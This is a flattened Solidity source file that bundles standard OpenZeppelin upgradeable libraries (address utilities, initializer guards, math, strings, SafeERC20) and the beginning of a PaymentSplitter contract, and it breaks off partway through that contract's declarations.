// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * * Furthermore, `isContract` will also return true if the target contract within * the same transaction is already scheduled for destruction by `SELFDESTRUCT`, * which only has an effect at the end of a transaction. * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol) /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be * reused. This mechanism prevents re-execution of each "step" but allows the creation of new initialization steps in * case an upgrade adds a module that needs to be initialized. * * For example: * * [.hljs-theme-light.nopadding] * ```solidity * contract MyToken is ERC20Upgradeable { * function initialize() initializer public { * __ERC20_init("MyToken", "MTK"); * } * } * * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable { * function initializeV2() reinitializer(2) public { * __ERC20Permit_init("MyToken"); * } * } * ``` * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() { * _disableInitializers(); * } * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. * @custom:oz-retyped-from bool */ uint8 private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Triggered when the contract has been initialized or reinitialized. */ event Initialized(uint8 version); /** * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope, * `onlyInitializing` functions can be used to initialize parent contracts. * * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a * constructor. * * Emits an {Initialized} event. */ modifier initializer() { bool isTopLevelCall = !_initializing; require( (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1), "Initializable: contract is already initialized" ); _initialized = 1; if (isTopLevelCall) { _initializing = true; } _; if (isTopLevelCall) { _initializing = false; emit Initialized(1); } } /** * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be * used to initialize parent contracts. * * A reinitializer may be used after the original initialization step. This is essential to configure modules that * are added through upgrades and that require initialization. * * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer` * cannot be nested. If one is invoked in the context of another, execution will revert. * * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in * a contract, executing them in the right order is up to the developer or operator. * * WARNING: setting the version to 255 will prevent any future reinitialization. * * Emits an {Initialized} event. */ modifier reinitializer(uint8 version) { require(!_initializing && _initialized < version, "Initializable: contract is already initialized"); _initialized = version; _initializing = true; _; _initializing = false; emit Initialized(version); } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} and {reinitializer} modifiers, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } /** * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call. * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized * to any version. It is recommended to use this to lock implementation contracts that are designed to be called * through proxies. * * Emits an {Initialized} event the first time it is successfully executed. */ function _disableInitializers() internal virtual { require(!_initializing, "Initializable: contract is initializing"); if (_initialized != type(uint8).max) { _initialized = type(uint8).max; emit Initialized(type(uint8).max); } } /** * @dev Returns the highest version that has been initialized. See {reinitializer}. */ function _getInitializedVersion() internal view returns (uint8) { return _initialized; } /** * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}. */ function _isInitializing() internal view returns (bool) { return _initializing; } } // OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol) // OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol) /** * @dev Standard math utilities missing in the Solidity language. */ library MathUpgradeable { enum Rounding { Down, // Toward negative infinity Up, // Toward infinity Zero // Toward zero } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a == 0 ? 0 : (a - 1) / b + 1; } /** * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) * with further edits by Uniswap Labs also under MIT license. */ function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) { unchecked { // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2^256 + prod0. uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod0 := mul(x, y) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { // Solidity will revert if denominator == 0, unlike the div opcode on its own. // The surrounding unchecked block does not change this fact. // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic. return prod0 / denominator; } // Make sure the result is less than 2^256. Also prevents denominator == 0. require(denominator > prod1, "Math: mulDiv overflow"); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0]. uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) // Subtract 256 bit number from 512 bit number. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1. // See https://cs.stackexchange.com/q/138556/92363. // Does not overflow because the denominator cannot be zero at this stage in the function. uint256 twos = denominator & (~denominator + 1); assembly { // Divide denominator by twos. denominator := div(denominator, twos) // Divide [prod1 prod0] by twos. prod0 := div(prod0, twos) // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one. twos := add(div(sub(0, twos), twos), 1) } // Shift in bits from prod1 into prod0. prod0 |= prod1 * twos; // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for // four bits. That is, denominator * inv = 1 mod 2^4. uint256 inverse = (3 * denominator) ^ 2; // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works // in modular arithmetic, doubling the correct bits in each step. inverse *= 2 - denominator * inverse; // inverse mod 2^8 inverse *= 2 - denominator * inverse; // inverse mod 2^16 inverse *= 2 - denominator * inverse; // inverse mod 2^32 inverse *= 2 - denominator * inverse; // inverse mod 2^64 inverse *= 2 - denominator * inverse; // inverse mod 2^128 inverse *= 2 - denominator * inverse; // inverse mod 2^256 // Because the division is now exact we can divide by multiplying with the modular inverse of denominator. // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inverse; return result; } } /** * @notice Calculates x * y / denominator with full precision, following the selected rounding direction. */ function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) { uint256 result = mulDiv(x, y, denominator); if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) { result += 1; } return result; } /** * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down. * * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11). */ function sqrt(uint256 a) internal pure returns (uint256) { if (a == 0) { return 0; } // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target. // // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`. // // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)` // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))` // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)` // // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit. uint256 result = 1 << (log2(a) >> 1); // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128, // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision // into the expected uint128 result. unchecked { result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; return min(result, a / result); } } /** * @notice Calculates sqrt(a), following the selected rounding direction. */ function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = sqrt(a); return result + (rounding == Rounding.Up && result * result < a ? 1 : 0); } } /** * @dev Return the log in base 2, rounded down, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 128; } if (value >> 64 > 0) { value >>= 64; result += 64; } if (value >> 32 > 0) { value >>= 32; result += 32; } if (value >> 16 > 0) { value >>= 16; result += 16; } if (value >> 8 > 0) { value >>= 8; result += 8; } if (value >> 4 > 0) { value >>= 4; result += 4; } if (value >> 2 > 0) { value >>= 2; result += 2; } if (value >> 1 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 2, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log2(value); return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0); } } /** * @dev Return the log in base 10, rounded down, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >= 10 ** 64) { value /= 10 ** 64; result += 64; } if (value >= 10 ** 32) { value /= 10 ** 32; result += 32; } if (value >= 10 ** 16) { value /= 10 ** 16; result += 16; } if (value >= 10 ** 8) { value /= 10 ** 8; result += 8; } if (value >= 10 ** 4) { value /= 10 ** 4; result += 4; } if (value >= 10 ** 2) { value /= 10 ** 2; result += 2; } if (value >= 10 ** 1) { result += 1; } } return result; } /** * @dev Return the log in base 10, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log10(value); return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0); } } /** * @dev Return the log in base 256, rounded down, of a positive value. * Returns 0 if given 0. * * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string. */ function log256(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 16; } if (value >> 64 > 0) { value >>= 64; result += 8; } if (value >> 32 > 0) { value >>= 32; result += 4; } if (value >> 16 > 0) { value >>= 16; result += 2; } if (value >> 8 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 256, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log256(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log256(value); return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0); } } } // OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol) /** * @dev Standard signed math utilities missing in the Solidity language. */ library SignedMathUpgradeable { /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // must be unchecked in order to support `n = type(int256).min` return uint256(n >= 0 ? n : -n); } } } /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _SYMBOLS = "0123456789abcdef"; uint8 private constant _ADDRESS_LENGTH = 20; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { unchecked { uint256 length = MathUpgradeable.log10(value) + 1; string memory buffer = new string(length); uint256 ptr; /// @solidity memory-safe-assembly assembly { ptr := add(buffer, add(32, length)) } while (true) { ptr--; /// @solidity memory-safe-assembly assembly { mstore8(ptr, byte(mod(value, 10), _SYMBOLS)) } value /= 10; if (value == 0) break; } return buffer; } } /** * @dev Converts a `int256` to its ASCII `string` decimal representation. */ function toString(int256 value) internal pure returns (string memory) { return string(abi.encodePacked(value < 0 ? "-" : "", toString(SignedMathUpgradeable.abs(value)))); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { unchecked { return toHexString(value, MathUpgradeable.log256(value) + 1); } } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } /** * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation. */ function toHexString(address addr) internal pure returns (string memory) { return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH); } /** * @dev Returns true if the two strings are equal. */ function equal(string memory a, string memory b) internal pure returns (bool) { return keccak256(bytes(a)) == keccak256(bytes(b)); } } // OpenZeppelin Contracts (last updated v4.8.0) (finance/PaymentSplitter.sol) // OpenZeppelin Contracts (last updated v4.8.0) (finance/PaymentSplitter.sol) // OpenZeppelin Contracts (last updated v4.9.3) (token/ERC20/utils/SafeERC20.sol) // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); } // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/extensions/IERC20Permit.sol) /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20PermitUpgradeable { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; /** * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value, * non-reverting calls are assumed to be successful. */ function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } /** * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful. */ function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } /** * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value, * non-reverting calls are assumed to be successful. */ function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 oldAllowance = token.allowance(address(this), spender); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value)); } /** * @dev Decrease the calling contract's allowance toward `spender` by `value`. If `token` returns no value, * non-reverting calls are assumed to be successful. */ function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value)); } } /** * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value, * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval * to be set to zero before setting it to a non-zero value, such as USDT. */ function forceApprove(IERC20Upgradeable token, address spender, uint256 value) internal { bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value); if (!_callOptionalReturnBool(token, approvalCall)) { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0)); _callOptionalReturn(token, approvalCall); } } /** * @dev Use a ERC-2612 signature to set the `owner` approval toward `spender` on `token`. * Revert on invalid signature. */ function safePermit( IERC20PermitUpgradeable token, address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) internal { uint256 nonceBefore = token.nonces(owner); token.permit(owner, spender, value, deadline, v, r, s); uint256 nonceAfter = token.nonces(owner); require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed"); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); require(returndata.length == 0 || abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). * * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead. */ function _callOptionalReturnBool(IERC20Upgradeable token, bytes memory data) private returns (bool) { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false // and not revert is the subcall reverts. (bool success, bytes memory returndata) = address(token).call(data); return success && (returndata.length == 0 || abi.decode(returndata, (bool))) && AddressUpgradeable.isContract(address(token)); } } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. The distribution of shares is set at the * time of contract deployment and can't be updated thereafter. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitterUpgradeable is Initializable, ContextUpgradeable { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20Upgradeable indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => 